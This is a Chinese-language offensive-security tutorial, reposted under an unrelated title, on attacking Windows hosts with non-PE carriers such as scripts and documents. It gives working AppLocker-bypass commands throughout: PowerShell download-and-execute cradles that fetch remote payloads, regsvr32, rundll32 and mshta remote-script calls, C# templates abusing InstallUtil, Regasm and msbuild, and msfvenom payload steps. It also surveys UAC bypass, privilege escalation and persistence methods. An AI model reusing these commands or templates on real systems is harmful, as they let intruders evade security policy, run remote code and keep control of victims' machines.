win7ahcix64xsys-()

本文以攻擊者的視野,以非PE作為載體的攻擊鏈作為寫作思路,通過對非PE文件類型,攻擊方法,安全策略和權限,后門這幾個方面進行簡單介紹,通過本文,希望讓閱讀者能對該類型攻擊套路有一個新的認識。
為什么是非PEPE作為Windows平臺下可執行文件格式,其自身的類型劃分數目較少,常見的有32位PE,64位PE以及NE、LE格式,類型有exe、dll、sys格式,長期以來,人們已經習慣于通過雙擊執行exe程序,而對于殺毒軟件來講,也習慣性的“擅長于”對exe進行查殺,而非PE相較于PE,人們感覺更加陌生,當然殺軟也是如此。當人感覺到\'陌生\'時,通常會產生兩種心理,一種是“警惕”,而另一種是“好奇”。當殺軟感覺“陌生”時,為了減少“誤報”,通常的做法就是先“放過“,尤其是對目前流行的PowerShell。
非PE類型
本文討論的非PE類型限于Windows平臺,所以不會將apk、ELF等劃分到這里,而會將C#語言寫的.Net程序劃分到非PE,這里劃分了腳本類型,文檔類型兩類,當然還可以再細致劃分。
腳本類型
腳本類型作為非PE的主要類型,其在Windows下自帶的有Bat、Vbs、JScript類型以及后來加入的PowerShell,除了這些自帶腳本,當然還有Python、Lua、Java、PHP等類型,然而這些都是基于自身運行時環境的。
文檔類型
文檔類型有常見的Word、Excel、PPT以及RTF這些office文檔,也有PDF、HTA(勉強算)類型,因為這些文件中可以嵌入\'可執行\'腳本,所以這里沒有TXT的事情。
其他類型
inf、lnk文件,還有一些例如Autoit、CAD等軟件定義的腳本,又或者swf文件,這些類型比起前面所說的,自然類型上比較模糊,所以將其歸為其他類型,如果再極致一點,也包括mp3,一部mp4,png也能算。攻擊載體的選擇,通常從下面幾點進行考慮:
1. 環境依賴
2. 敏感度
3. 體積
4. 制作成本
從環境依賴來講,系統自帶腳本通常依賴較??;從敏感度來講,文檔類的敏感度較小,從體積來講,腳本類型通常較?。粡闹谱鞒杀旧蟻碇v,腳本類型通常較??;那這些非系統自帶的腳本用在哪呢?針對某開發人員進行攻擊?
如何攻擊既然已經選好了攻擊載荷,那么就要進行載荷投遞了,這里我們舉幾個較為常見的方式進行介紹,當然也存在別的方式。
\'水坑\'攻擊水坑攻擊是一種攻擊成功率較高的攻擊方式,攻擊目標通常為特定團體、組織、行業或者地區等。攻擊方通過長期觀察、猜測、收集目標的網絡行為習慣,尋找目標經常訪問的網站,然后入侵一個或者多個網站進行掛馬,當目標進行訪問時,觸發攻擊程序導致個體或團體被感染。這類攻擊較為常見的特征有以下幾點:
1. 時間跨度較長
2. 通常使用0-day漏洞
3. 攻擊目標通常選擇大型公司、政府,學校,以及科研機構等群體
\'魚叉\'攻擊魚叉攻擊通常使用電子郵件等電子通信方式進行投遞,攻擊目標為特定個人,組織或企業。攻擊方首先對攻擊目標的個人信息,郵箱地址,近期私人(或公開)活動等進行收集,通過假冒公司,組織,活動主辦方或是政府機構的名義,發送含有虛假內容、惡意文件或惡意鏈接,誘使目標點擊或者登錄賬號密碼,一旦目標進行如上操作,那么自身的個人信息會再次泄露,攻擊方甚至會借此安全惡意程序,持續對目標計算機進行控制。這類攻擊通常有如下幾點特征:
1. 高度的定制化和精準化
2. 通常攻擊目標會選擇個體
3. 文檔類作為攻擊載體的目的性更強
上述是常見的攻擊方式,當然更為粗暴的方式也可以選擇端口攻擊,更柔和的選擇一個橫跨幾個月或者一兩年的套近乎式社工手法也可以。
攻擊技巧好了,假設這里攻擊載荷成功投遞到目標,其是否生效還受到系統策略、權限等因素影響,這里本文列舉較為常見的安全策略以及權限相關的問題進行介紹。
策略繞過applocker

applocker是一款用于替代軟件限制策略的全新系統管理工具。部署于Windows 2008 Server R2以及之后的所有系統中,幫助用戶控制可運行的應用和文件,這包括可執行文件(.exe、.com)、腳本(.vbs、.js、.ps1、.cmd、和.bat)、Windows安裝程序(.msi、.msp)、動態鏈接庫(.dll、.ocx)等。基本特性如下:
· 基于數字簽名派生出的以文件屬性作為規則定義(如:文件名、路徑、版本)
· 向單個用戶、組分配規則
· 規則可定義例外
· 支持導入和導出
通過上述介紹,以下面兩種情況分別討論
腳本執行禁用,cmd、powershell執行未禁用
這種情況下利用方式很多,常見的方式基本有
1.直接使用cmd、powershell命令
#cmd
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://')
#payload
IEX(New-Object Net.WebClient).DownloadString('http://')
2.通過管道
#cmd
cmd.exe /K < payload.bat
#powershell
get-content x.ps1 | iex
3.通過regsvr32、rundll32、mshta
regsvr32 /u /n /s /i:payload.sct scrobj.dll
regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll
rundll32.exe javascript:\'\..\mshtml,RunHTMLApplication \';document.write();new%20ActiveXObject(\'WScript.Shell\').Run(\'powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');\')
mshta.exe \'javascript:new%20ActiveXObject(\'WScript.Shell\').Run(\'powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString('http://ip:port/');\');window.close()\'腳本執行禁用,powershell執行禁用
對于這種情況,直接執行powershell顯然行不通了,

powershell是基于.Net框架的,powershell.exe只是命令行方式的一種實現,本質是對System.Management.Automation.dll的封裝,所以通過如下幾種方式可以繞過限制,1.規則“漏洞”默認情況下會,會將Program Files和Windows路徑設置為例外,通過尋找可寫可執行路徑,寫入payload腳本即可。如果只是對于powershell.exe采用了路徑限制,而不是哈希限制,那可以將其copy一份到別的路徑,然后使用。2.使用C#下面是一個C#調用powershell的模板代碼,將payload替換為實際執行代碼最終編譯為exe即可運行
using System;
using System.Management.Automation;
namespace Powershell
{
class Program
{
static void Main(string[] args)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand(\'Invoke-Expression\');
ps.AddArgument(\'payload\');
ps.Invoke();
}
}
}
3.使用InstallUtil.exeInstallUtil是一個經過簽名的windows組件安裝程序,利用模板如下
// InstallUtil.cs
using System;
using System.Management.Automation;
namespace Whitelist
{
class Program
{
static void Main(string[] args)
{
}
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand(\'Invoke-Expression\');
ps.AddArgument(\'payload\');
ps.Invoke();
}
}
#編譯
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs
#/U 執行卸載例程
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe
4.使用Regasm或RegsvcsRegasm與Regsvcs均為.Net框架程序集注冊工具,利用模板如下
#Regasm.cs
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Management.Automation;
namespace regsvcser
{
public class Bypass : ServicedComponent
{
public Bypass() { Console.WriteLine(\'I am a basic COM Object\'); }
[ComUnregisterFunction] //This executes if registration fails
public static void UnRegisterClass ( string key )
{
PowerShell ps = PowerShell.Create();
ps.AddCommand(\'Invoke-Expression\');
ps.AddArgument(\'payload\');
ps.Invoke();
}
}
}
通過csc.exe編譯為dll組件,之后通過傳入給regasm(或regasm) /U 參數執行卸載例程,步驟如下
Create Your Strong Name Key -> key.snk
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content =[System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll
[OR]
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll
//Executes UnRegisterClass If you don't have permissions
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll
//This calls the UnregisterClass Method
5.使用msxsl.exemsxsl是windows下用于處理xsl的命令行程序(已簽名),通過該程序可以執行JScript代碼,點我下載。其命令行利用方式如下
msxsl.exe demo.xml exec.xsl
demo.xml與exec.xsl demo如下
#demo.xml
Microsoft
#exec.xsl
xmlns:xsl=\'http://www.w3.org/1999/XSL/Transform\'
xmlns:msxsl=\'urn:schemas-microsoft-com:xslt\'
xmlns:user=\'http://mycompany.com/mynamespace\'>
function xml(nodelist) {
var r = new ActiveXObject(\'WScript.Shell\').Run(\'cmd /c calc.exe\');
return nodelist.nextNode().xml;
}
6.使用msbuild.exemsbuild作為Windows和vs的生成引擎,默認系統自帶,下面代碼功能是創建一個PowerShell命令行。
TaskName=\'FragmentExample\'
TaskFactory=\'CodeTaskFactory\'
AssemblyFile=\'C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll\' >
Console.WriteLine(\'Hello From Fragment\');
]]>
TaskName=\'ClassExample\'
TaskFactory=\'CodeTaskFactory\'
AssemblyFile=\'C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll\' >
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute(){
while(true){
Console.Write(\'PS >\');
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add(\'Out-String\');
Collection results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]>
7.使用msiexec.exe通過msf生產一個payload.msi,利用msiexec執行。
msfvenom -f msi -p windows/exec CMD=calc.exe > payload.msi
#執行
msiexec /quiet /i payload.msi
UAC自Windows Vista開始,微軟引入了完整性級別概念,用于防止”權限濫用“,權限由高到低分為
· 系統級(system)
· 管理員(High)
· 用戶(Medium)
· 受限(Low)
其設計模型來自于Biba完整性模型基礎上的上不可寫,下不可讀原則來保護數據完整性。在Windows Vista之前的系統,默認創建的管理員賬戶即對應完整管理員(High)級別,這個級別基本沒有限制,導致可以任意添加計劃任務,寫關鍵路徑,讀寫關鍵注冊表、創建服務、加載驅動等等,從Windows Vista開始創建的管理員賬戶均在用戶(Medium)級別,當UAC(默認)開啟的情況下,這個級別會有很多限制,僅當程序請求管理員權限,或是觸發條件則彈窗詢問用戶授權。

受限(Low)被應用于IE瀏覽器作為保護模式使用,其直接訪問網頁的進程會通過Host主進程代理操作系統資源,只有在Temp、Temporary、Internet Files、Cookies和Favorites目錄下的幾個特定低完整性目錄可以進行寫操作,同時啟動其他進程時彈窗詢問用戶。

由于微軟出于兼容性、用戶體驗等的考慮,為減少UAC彈窗,設定了自動提權的機制,滿足以下兩個條件的程序,會自動提升權限
1. 必須經過 Windows Publisher 數字簽名
2. 必須位于”安全目錄“中,其中”安全目錄“指的是普通用戶(Medium)無權修改的,包括 %SystemRoot%\System32(例如,\Windows\System32)及其大多數子目錄、%SystemRoot%\Ehome,以及 %ProgramFiles% 下的少許目錄(其中包括 Windows Defender 和 Windows 日記本)
滿足上述條件的exe程序,在其應用程序配置清單中有如下配置,則進行提升。
level=\'highestAvailable\'
/>
true
上面簡單介紹了UAC和完整性級別的概念,可以知道到,對關鍵文件、注冊表、進程等的操作在Medium級別會觸發UAC彈窗,當然這樣直接彈窗會引起用戶注意從而降低攻擊的成功率,所以需要繞過,繞過方法也是基于Windows設定的\'自動提升\'機制,通常的操作有”DLL劫持“,”偽造\'等方式,這里推薦幾個不錯的開源項目,1.對抗UAC機制的UACME2.nishang攻擊包中有PowerShell實現的bypassUAC工具Invoke-PsUACme3.Empire中Invoke-BypassUAC
權限上文談到了完整性級別,對權限有了簡單了解,由于攻擊目標的環境受限,可能當前的登陸賬戶權限較低,導致攻擊載荷在執行某些操作,例如,
· 寫高權限路徑
· 讀寫高權限注冊表(例如:mimikataz)
· 注入操作
· 創建計劃任務、服務、WMI、加載驅動等
這些操作都是存在問題的,所以需要提升權限。
提權通常這里的提權指的是low->system,medium->system,對于low到system只能有Exploit程序,這里推薦一下SecWiki,里面收集了很多歷史提權漏洞。medium到system除過可使用exp,也可以通過bypassUAC到high,然后寫計劃任務或者添加服務的方式提權到system,還可以使用C代碼形式(需high級),通過UpdateProcThreadAttribute獲取父進程信息,傳入CreateProcess以創建該進程的子進程,由于會繼承父進程的權限,從而獲取system權限的目的。
降權由于Windows是一個多用戶操作系統,不同的用戶有不同的環境變量和注冊表項,例如desktop, programs, appdata,tmp,temp等是不同的,部分HKCU注冊表也是不相同的,由于存在界面隔離的的原因,為了獲取某用戶當前的屏幕截圖,窗口列表等信息也是需要\'切換\'到該用戶。這里的降權包括從system->high,high->medium兩種,比較通用的方法見下。
//方式1
WTSGetActiveConsoleSessionId
WTSQueryUserToken
CreateProcessAsUser
//方式2.
UpdateProcThreadAttribute + CreateProcess
后門上文描述了攻擊載荷、攻擊方式、策略繞過與權限等相關知識,這里假設攻擊載體以及在目標上開始運行,為了保證能有長期、持續的對目標進行信息獲取,做一個后門是有必要的,簡單列舉一下:
1.注冊表啟動項
2.服務啟動項,服務劫持
3.dll劫持
4.fake lnk
5.計劃任務
6.WMI
7.office自啟路徑
8.Exp(如CVE-2017-8464)
9.Logon Scripts
10.COM 劫持
實戰中后門姿勢變化萬千,應該以目標使用者與環境進行選擇。
最后以上是全部內容,通過本文的閱讀希望能達到如前言中的目的,文中描述不當以及有明顯bug的地方歡迎大家留言指出,后續的學習閱讀,可參考本文列舉的參考一欄。最后,感謝閱讀。
參考[1].https://github.com/subtee
[2].https://github.com/Enigma0x3
[3].https://3gstudent.github.io/
[4].https://evi1cg.me/
[5].https://github.com/SecWiki
[6].http://www.freebuf.com/column/149286.html
[7].https://www.zhihu.com/question/20139121
[8].http://blog.csdn.net/yockie/article/details/46446047
[9].https://msdn.microsoft.com/en-us/library/aa905330.aspx
[10].http://bbs.csdn.net/topics/390248917
[11].http://blog.csdn.net/vlily/article/details/47338327
[12].https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Windows.md
[13].深入解析Windows操作系統第6版(上冊),潘愛民譯.
總結
以上是生活随笔為你收集整理的win7ahcix64xsys-()的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win7系统部署时非常慢-()
- 下一篇: itunes怎么当u盘-(itunes怎